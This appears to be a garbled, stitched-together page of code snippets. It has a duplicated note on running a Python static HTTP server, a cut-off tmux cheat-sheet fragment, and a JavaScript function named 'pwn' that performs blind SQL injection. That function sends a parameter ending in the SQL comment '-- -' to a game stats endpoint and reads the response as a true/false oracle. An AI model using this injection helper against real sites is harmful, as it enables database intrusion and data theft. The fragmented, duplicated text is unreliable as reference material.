Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000As configured in my dotfiles.
start new:
tmux
start new with session name:
| function pwn(params){ | |
| var http = new XMLHttpRequest(); | |
| var url = "/game/stats.php?action=psolve"; | |
| http.open("POST", url, false); | |
| http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
| http.send("action=showpsolve&problem_no="+params+"-- -"); | |
| if(http.response.indexOf("you wanna be first") == -1){ return true; } | |
| else return false; | |
| } |